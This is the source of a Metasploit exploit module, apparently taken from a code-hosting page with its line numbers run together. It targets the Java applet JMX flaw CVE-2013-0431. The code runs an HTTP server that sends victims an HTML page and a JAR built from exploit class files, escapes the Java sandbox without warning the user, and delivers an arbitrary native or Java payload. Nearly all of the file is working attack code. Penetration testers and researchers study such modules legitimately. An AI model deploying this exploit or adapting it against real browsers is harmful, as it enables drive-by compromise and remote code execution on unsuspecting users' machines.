Path: blob/master/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011# include Msf::Exploit::Remote::BrowserAutopwn12# autopwn_info({ :javascript => false })1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Java Applet JMX Remote Code Execution',19'Description' => %q{20This module abuses the JMX classes from a Java Applet to run arbitrary Java code21outside of the sandbox as exploited in the wild in February of 2013. Additionally,22this module bypasses default security settings introduced in Java 7 Update 10 to run23unsigned applet without displaying any warning to the user.24},25'License' => MSF_LICENSE,26'Author' => [27'Unknown', # Vulnerability discovery and exploit in the wild28'Adam Gowdiak', # Vulnerability discovery29'SecurityObscurity', # Exploit analysis and deobfuscation30'juan vazquez' # Metasploit module31],32'References' => [33[ 'CVE', '2013-0431' ],34[ 'OSVDB', '89613' ],35[ 'BID', '57726' ],36[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],37[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],38[ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],39[ 'URL', 'http://pastebin.com/QWU1rqjf' ],40[ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]41],42'Platform' => %w{java linux osx win},43'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },44'Targets' => [45[46'Generic (Java Payload)',47{48'Platform' => ['java'],49'Arch' => ARCH_JAVA,50}51],52[53'Windows x86 (Native Payload)',54{55'Platform' => 'win',56'Arch' => ARCH_X86,57}58],59[60'Mac OS X x86 (Native Payload)',61{62'Platform' => 'osx',63'Arch' => ARCH_X86,64}65],66[67'Linux x86 (Native Payload)',68{69'Platform' => 'linux',70'Arch' => ARCH_X86,71}72],73],74'DefaultTarget' => 0,75'DisclosureDate' => '2013-01-19',76'Notes' => {77'Reliability' => UNKNOWN_RELIABILITY,78'Stability' => UNKNOWN_STABILITY,79'SideEffects' => UNKNOWN_SIDE_EFFECTS80}81)82)83end8485def on_request_uri(cli, request)86print_status("handling request for #{request.uri}")8788case request.uri89when /\.jar$/i90print_status("Sending JAR")91send_response(cli, generate_jar, { 'Content-Type' => "application/octet-stream" })92when /\/$/93print_status("Sending HTML")94send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })95else96send_redirect(cli, get_resource() + '/', '')97end98end99100def generate_jar101paths = [102[ "Exploit.ser" ],103[ "Exploit.class" ],104[ "B.class" ]105]106107p = regenerate_payload(cli)108109jar = p.encoded_jar110111paths.each do |path|1121.upto(path.length - 1) do |idx|113full = path[0, idx].join("/") + "/"114if !(jar.entries.map { |e| e.name }.include?(full))115jar.add_file(full, '')116end117end118fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2013-0431", path), "rb")119data = fd.read(fd.stat.size)120jar.add_file(path.join("/"), data)121fd.close122end123return jar.pack124end125126def generate_html127html = <<~EOF128<html>129<script language="Javascript">130131var _app = navigator.appName;132133if (_app == 'Microsoft Internet Explorer') {134document.write('<applet archive="#{rand_text_alpha(4 + rand(4))}.jar" object="Exploit.ser"></applet>');135} else {136document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4 + rand(4))}.jar"></embed>');137}138139</script>140</html>141EOF142return html143end144end145146147